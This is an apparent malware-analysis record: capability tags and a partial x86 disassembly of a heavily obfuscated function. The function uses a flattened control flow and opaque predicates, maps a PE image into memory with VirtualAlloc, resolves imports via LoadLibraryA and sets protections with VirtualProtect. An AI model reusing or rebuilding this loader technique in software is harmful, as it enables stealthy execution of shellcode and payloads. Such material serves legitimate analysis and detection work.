Function at 0x40f500
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1fc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x200], eax
mov eax, dword [0x52f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1f8], 0x86242048
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x204], eax
sub eax, 0x81ef1935
je 0x412e9d
jmp 0x40f545
mov eax, dword [ebp - 0x204]
sub eax, 0x833c2a66
je 0x410cb9
jmp 0x40f55b
mov eax, dword [ebp - 0x204]
sub eax, 0x83d311c5
je 0x410c28
jmp 0x40f571
mov eax, dword [ebp - 0x204]
sub eax, 0x85dfb7a2
je 0x413871
jmp 0x40f587
mov eax, dword [ebp - 0x204]
sub eax, 0x86242048
je 0x4106d2
jmp 0x40f59d
mov eax, dword [ebp - 0x204]
sub eax, 0x86f1d04e
je 0x41211b
jmp 0x40f5b3
mov eax, dword [ebp - 0x204]
sub eax, 0x87b082b4
je 0x41337e
jmp 0x40f5c9
mov eax, dword [ebp - 0x204]
sub eax, 0x89a13983
je 0x411dd2
jmp 0x40f5df
mov eax, dword [ebp - 0x204]
sub eax, 0x8a5f5c20
je 0x412082
jmp 0x40f5f5
mov eax, dword [ebp - 0x204]
sub eax, 0x8a924e3a
je 0x411500
jmp 0x40f60b
mov eax, dword [ebp - 0x204]
sub eax, 0x8abea9de
je 0x410f84
jmp 0x40f621
mov eax, dword [ebp - 0x204]
sub eax, 0x8b2b67a1
je 0x4110dd
jmp 0x40f637
mov eax, dword [ebp - 0x204]
sub eax, 0x8c6a0900
je 0x4123c0
jmp 0x40f64d
mov eax, dword [ebp - 0x204]
sub eax, 0x8cf423ef
je 0x41366e
jmp 0x40f663
mov eax, dword [ebp - 0x204]
sub eax, 0x8d8b7d65
je 0x411349
jmp 0x40f679
mov eax, dword [ebp - 0x204]
sub eax, 0x8e82952e
je 0x41116c
jmp 0x40f68f
mov eax, dword [ebp - 0x204]
sub eax, 0x8eaf83e4
je 0x411a23
jmp 0x40f6a5
mov eax, dword [ebp - 0x204]
sub eax, 0x91d3a649
je 0x4115fe
jmp 0x40f6bb
mov eax, dword [ebp - 0x204]
sub eax, 0x9531dc28
je 0x41272c
jmp 0x40f6d1
mov eax, dword [ebp - 0x204]
sub eax, 0x95b81df9
je 0x411d02
jmp 0x40f6e7
mov eax, dword [ebp - 0x204]
sub eax, 0x960820a2
je 0x41346c
jmp 0x40f6fd
mov eax, dword [ebp - 0x204]
sub eax, 0x9a1a1ee4
je 0x4111d3
jmp 0x40f713
mov eax, dword [ebp - 0x204]
sub eax, 0x9aad574e
je 0x4125de
jmp 0x40f729
mov eax, dword [ebp - 0x204]
sub eax, 0x9b896cef
je 0x411b09
jmp 0x40f73f
mov eax, dword [ebp - 0x204]
sub eax, 0x9c06cc72
je 0x413271
jmp 0x40f755
mov eax, dword [ebp - 0x204]
sub eax, 0x9c5477d7
je 0x4121e6
jmp 0x40f76b
mov eax, dword [ebp - 0x204]
sub eax, 0x9f50de62
je 0x4120d2
jmp 0x40f781
mov eax, dword [ebp - 0x204]
sub eax, 0xa5d9f1a7
je 0x41105e
jmp 0x40f797
mov eax, dword [ebp - 0x204]
sub eax, 0xa8648887
je 0x410da0
jmp 0x40f7ad
mov eax, dword [ebp - 0x204]
sub eax, 0xa8f1f6ce
je 0x411ad4
jmp 0x40f7c3
mov eax, dword [ebp - 0x204]
sub eax, 0xaa8a70c4
je 0x411864
jmp 0x40f7d9
mov eax, dword [ebp - 0x204]
sub eax, 0xaa950281
je 0x411661
jmp 0x40f7ef
mov eax, dword [ebp - 0x204]
sub eax, 0xab345aae
je 0x411bb2
jmp 0x40f805
mov eax, dword [ebp - 0x204]
sub eax, 0xab5322f2
je 0x41258d
jmp 0x40f81b
mov eax, dword [ebp - 0x204]
sub eax, 0xad8e34f2
je 0x411394
jmp 0x40f831
mov eax, dword [ebp - 0x204]
sub eax, 0xad96abc0
je 0x41108c
jmp 0x40f847
mov eax, dword [ebp - 0x204]
sub eax, 0xaf2d857e
je 0x4133fe
jmp 0x40f85d
mov eax, dword [ebp - 0x204]
sub eax, 0xb01909f5
je 0x41388c
jmp 0x40f873
mov eax, dword [ebp - 0x204]
sub eax, 0xb0a53d59
je 0x411c46
jmp 0x40f889
mov eax, dword [ebp - 0x204]
sub eax, 0xb0ab120c
je 0x410ddf
jmp 0x40f89f
mov eax, dword [ebp - 0x204]
sub eax, 0xb1c37037
je 0x412fb9
jmp 0x40f8b5
mov eax, dword [ebp - 0x204]
sub eax, 0xb42824ac
je 0x4136a9
jmp 0x40f8cb
mov eax, dword [ebp - 0x204]
sub eax, 0xb65dee5d
je 0x4136fb
jmp 0x40f8e1
mov eax, dword [ebp - 0x204]
sub eax, 0xb66b97a8
je 0x411295
jmp 0x40f8f7
mov eax, dword [ebp - 0x204]
sub eax, 0xb7505bfe
je 0x410f1a
jmp 0x40f90d
mov eax, dword [ebp - 0x204]
sub eax, 0xb754f05e
je 0x411789
jmp 0x40f923
mov eax, dword [ebp - 0x204]
sub eax, 0xbab56bc6
je 0x412e2a
jmp 0x40f939
mov eax, dword [ebp - 0x204]
sub eax, 0xbd7ee611
je 0x4133e6
jmp 0x40f94f
mov eax, dword [ebp - 0x204]
sub eax, 0xc46698e5
je 0x412e8e
jmp 0x40f965
mov eax, dword [ebp - 0x204]
sub eax, 0xc6000eb2
je 0x412eca
jmp 0x40f97b
mov eax, dword [ebp - 0x204]
sub eax, 0xc745dca1
je 0x412db4
jmp 0x40f991
mov eax, dword [ebp - 0x204]
sub eax, 0xc895913f
je 0x411bcd
jmp 0x40f9a7
mov eax, dword [ebp - 0x204]
sub eax, 0xc8ff1a86
je 0x412953
jmp 0x40f9bd
mov eax, dword [ebp - 0x204]
sub eax, 0xc9011bda
je 0x412851
jmp 0x40f9d3
mov eax, dword [ebp - 0x204]
sub eax, 0xc9128ec3
je 0x41379f
jmp 0x40f9e9
mov eax, dword [ebp - 0x204]
sub eax, 0xc9879e52
je 0x411ffe
jmp 0x40f9ff
mov eax, dword [ebp - 0x204]
sub eax, 0xc9ece0d8
je 0x410b02
jmp 0x40fa15
mov eax, dword [ebp - 0x204]
sub eax, 0xcaa61a02
je 0x4120a6
jmp 0x40fa2b
mov eax, dword [ebp - 0x204]
sub eax, 0xcab01939
je 0x41371f
jmp 0x40fa41
mov eax, dword [ebp - 0x204]
sub eax, 0xcabdb2b6
je 0x41363c
jmp 0x40fa57
mov eax, dword [ebp - 0x204]
sub eax, 0xcb4b7d5c
je 0x4137f3
jmp 0x40fa6d
mov eax, dword [ebp - 0x204]
sub eax, 0xce0ef0a5
je 0x412d50
jmp 0x40fa83
mov eax, dword [ebp - 0x204]
sub eax, 0xce1751b7
je 0x412f0f
jmp 0x40fa99
mov eax, dword [ebp - 0x204]
sub eax, 0xd080f6f7
je 0x413784
jmp 0x40faaf
mov eax, dword [ebp - 0x204]
sub eax, 0xd3275d04
je 0x410f0b
push eax
mov eax, esp
mov dword [ebp - 0x1e0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1dc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1f8], 0x696668d
jmp 0x413941
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x70]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x68], 0
sete al
and al, 1
mov byte [ebp - 0x151], al
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
sub edx, 0x71b04b0f
sub edx, 1
add edx, 0x71b04b0f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x46c92327
mov ecx, 0x24c577c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x1f0]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x14c], eax
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
sub edx, 0xdb717a65
sub edx, 1
add edx, 0xdb717a65
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4663f810
mov ecx, 0x833c2a66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov dword [ebp - 0x1f8], 0x3a7a54f8
jmp 0x413941
mov dl, byte [ebp - 0x145]
mov eax, 0xb7505bfe
mov ecx, 0x579f0662
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
sub edx, 0x59c68dc7
sub edx, 1
add edx, 0x59c68dc7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe5c8339
mov ecx, 0x56914a5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x1e8]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041fca0
add esp, 0xc
mov ecx, dword [ebp - 0x1f0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x1f0]
movzx eax, word [eax + 0x14]
sub ecx, 0x450bba17
add ecx, eax
add ecx, 0x450bba17
mov eax, dword [ebp - 0x1dc]
mov dword [eax], ecx
mov dword [ebp - 0x1f8], 0x8abea9de
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
add edx, 0x962afb95
sub edx, 1
sub edx, 0x962afb95
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x234ef804
mov ecx, 0x3ca81984
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x1f0]
mov ax, word [eax + 6]
mov word [ebp - 0x13c], ax
mov dword [ebp - 0x1f8], 0xad96abc0
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
sub edx, 0xc1efe267
sub edx, 1
add edx, 0xc1efe267
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7983d7f6
mov ecx, 0x8b2b67a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov ax, word [ebp - 0x13c]
movzx ecx, ax
mov eax, dword [ebp - 0x140]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x139], al
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
sub edx, 0x295d030b
sub edx, 1
add edx, 0x295d030b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7983d7f6
mov ecx, 0xe7fc6393
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1dc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1d8]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1dc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1d8]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1f8], 0x9a1a1ee4
jmp 0x413941
mov ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax]
mov edx, dword [ebp - 0x1d8]
imul edx, dword [edx], 0x28
add eax, edx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x138]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041fca0
add esp, 0xc
mov dword [ebp - 0x1f8], 0x10585279
jmp 0x413941
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x130]
mov dword [eax], ecx
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcabdb2b6
mov ecx, 0xe1f87beb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov dl, byte [ebp - 0x129]
mov eax, 0x78da2f4
mov ecx, 0x71d7fabe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
sub ecx, 0xfe1b3b13
sub ecx, eax
add ecx, 0xfe1b3b13
mov eax, dword [ebp - 0x1d4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x6c]
add ecx, 0x9d18952f
add ecx, eax
sub ecx, 0x9d18952f
mov eax, dword [ebp - 0x1d0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1cc]
mov dword [eax], 0
mov dword [ebp - 0x1f8], 0xfe795dca
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
sub edx, 0x3ccf7087
sub edx, 1
add edx, 0x3ccf7087
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8cf423ef
mov ecx, 0x6072d3ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov dword [ebp - 0x1f8], 0xdf389de2
jmp 0x413941
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x1f8], 0xe405f5a6
jmp 0x413941
mov dl, byte [ebp - 0x109]
mov eax, 0x9b896cef
mov ecx, 0x1bc21df6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov edx, dword [ebp - 0x108]
sar edx, 0xc
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 3
mov eax, 0xffffffff
xor eax, 0x31b4e3f2
or edx, ecx
or eax, 0x31b4e3f2
xor edx, 0xffffffff
and edx, eax
mov eax, 0x5ce4e642
mov ecx, 0x314bfaf0
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
add edx, 0x30285e8e
sub edx, 1
sub edx, 0x30285e8e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb65dee5d
mov ecx, 0x5dbce46d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x1bc]
mov dword [eax], ecx
mov dword [ebp - 0x1f8], 0x7d027223
jmp 0x413941
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x1cc]
mov ecx, dword [ecx]
sub ecx, 0x584a5cc4
add ecx, eax
add ecx, 0x584a5cc4
mov eax, dword [ebp - 0x1cc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x1f8], 0xd4a4a889
jmp 0x413941
mov eax, dword [ebp - 0x1b4]
mov dword [eax], 0
mov dword [ebp - 0x1f8], 0xc895913f
jmp 0x413941
mov eax, dword [ebp - 0x1b8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b4]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1f8], 0x445b807d
jmp 0x413941
mov eax, dword [ebp - 0xf8]
cmp dword [eax + 0x10], 0
setne al
and al, 1
mov byte [ebp - 0xf1], al
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaacbc0b
mov ecx, 0x4c92aa21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov edx, dword [ebp - 0x1ac]
mov eax, 0xe78e734f
mov ecx, 0xd8ad37a2
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1a4]
mov ecx, dword [ecx]
shl ecx, 2
add eax, ecx
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1f8], 0x3396726a
jmp 0x413941
mov dword [ebp - 0x1f8], 0xee0ab5c6
jmp 0x413941
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x1f8], 0xcaa61a02
jmp 0x413941
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x1f8], 0x89a13983
jmp 0x413941
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x1f8], 0x3f332a76
jmp 0x413941
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
add edx, 0xedc34e4b
sub edx, 1
sub edx, 0xedc34e4b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4e4d5893
mov ecx, 0x1c47916f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov dword [ebp - 0x1f8], 0x17076a62
jmp 0x413941
mov dl, byte [ebp - 0xbd]
mov eax, 0xb1c37037
mov ecx, 0x526bcede
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
sub edx, 0x8ae65234
sub edx, 1
add edx, 0x8ae65234
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ff21da7
mov ecx, 0x9aad574e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0xb4], eax
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
sub edx, 0x1c3fb0e6
sub edx, 1
add edx, 0x1c3fb0e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ff21da7
mov ecx, 0xef703a17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
add edx, 0xf038c542
sub edx, 1
sub edx, 0xf038c542
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb4b7d5c
mov ecx, 0x10760e28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
add edx, 0x323dcfc6
sub edx, 1
sub edx, 0x323dcfc6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x752ac803
mov ecx, 0x7469eedd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
sub edx, 0xdf73ed9a
sub edx, 1
add edx, 0xdf73ed9a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73ca67f
mov ecx, 0x22122f24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0x74228690
or eax, edx
or ecx, 0x74228690
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x1f8], 0xe12d1389
jmp 0x413941
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
mov edx, ecx
add edx, 0x9f3bd92c
sub edx, 1
sub edx, 0x9f3bd92c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85dfb7a2
mov ecx, 0xbab56bc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x190]
mov dword [eax], 2
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x85dfb7a2
mov ecx, 0xee7cdaf9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov dword [ebp - 0x1f8], 0x81ef1935
jmp 0x413941
mov dword [ebp - 0x1f8], 0xf5229654
jmp 0x413941
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x1f8], 0xce1751b7
jmp 0x413941
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov esi, dword [ebp - 0x90]
sub esi, 0x6d06fca
add esi, eax
add esi, 0x6d06fca
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x1f8], 0xfd9d674b
jmp 0x413941
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov dword [ebp - 0x1f8], 0x3f18ab33
jmp 0x413941
mov dl, byte [ebp - 0x79]
mov eax, 0x345a6222
mov ecx, 0x30bc6942
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov dword [ebp - 0x1f8], 0x7c353cf4
jmp 0x413941
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x1f8], 0xaf2d857e
jmp 0x413941
mov ecx, dword [0x53056c]
mov eax, dword [0x530568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3750b0b7
mov ecx, 0x960820a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [0x53056c]
mov ecx, dword [0x530568]
mov edx, eax
sub edx, 0xe7e928f1
sub edx, 1
add edx, 0xe7e928f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3750b0b7
mov ecx, 0xecf457f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f8], eax
jmp 0x413941
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x1f8], 0xb66b97a8
jmp 0x413941
mov ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x1c8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1f8], 0x6072d3ef
jmp 0x413941
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1f8], 0x6a29a365
jmp 0x413941
mov dword [ebp - 0x1f8], 0x5dbce46d
jmp 0x413941
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
